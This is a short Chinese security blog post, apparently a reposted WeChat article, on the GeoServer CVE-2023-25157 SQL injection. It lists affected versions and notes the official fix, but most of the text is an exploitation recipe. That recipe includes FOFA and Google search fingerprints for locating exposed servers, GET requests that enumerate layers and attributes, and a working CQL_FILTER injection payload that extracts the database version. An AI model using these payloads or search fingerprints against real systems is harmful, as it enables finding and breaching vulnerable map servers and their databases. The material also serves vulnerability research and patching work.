GeoServer是一个开源的地图服务器,它是遵循OpenGIS Web服务器规范的J2EE实现,通过它可以方便的将地图数据发布为地图服务,实现地理空间数据在用户之间的共享。
GeoServer在预览图层的时候,可以对图层进行数据过滤从而渲染出指定位置的图层。由于未对用户输入进行过滤,在使用需要以数据库作为数据存储的功能时,攻击者可以构造畸形的过滤语法,绕过GeoServer的词法解析从而造成SQL注入,获取服务器中的敏感信息,甚至可能获取数据库服务器权限。
fofa指纹:app="GeoServer" && country="CN"
谷歌指纹:inurl:"/geoserver/ows?service=wfs"
简单利用:get请求
获取功能名POC:
/geoserver/ows?service=WFS&version=1.0.0&request=GetCapabilities
获取功能属性POC
/geoserver/wfs?request=DescribeFeatureType&version=2.0.0&service=WFS&outputFormat=application/json&typeName=图层名称
构造poc查询数据库信息
GET /geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=[查询到的图层名称]&CQL_FILTER=strStartsWith([该图层中的属性名称],'x'')+%3d+true+and+1%3d(SELECT+CAST+((SELECT+version())+AS+INTEGER))+--+')+%3d+true HTTP/1.1
注意,特殊字符使用url编码转码,如:需转码为%3A
python快速检测poc下载,见知识星球。
影响版本
geoserver<2.18.7
2.19.0
<=geoserver<2.19.7
2.20.0
<=geoserver<2.20.7
2.21.0
<=geoserver<2.21.4
2.22.0
<=geoserver<2.22.2
目前官方已修复该漏洞,可更新至最新版本修复。
原文始发于微信公众号(丁永博的成长日记):GeoServer CVE-2023-25157 SQL注入
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论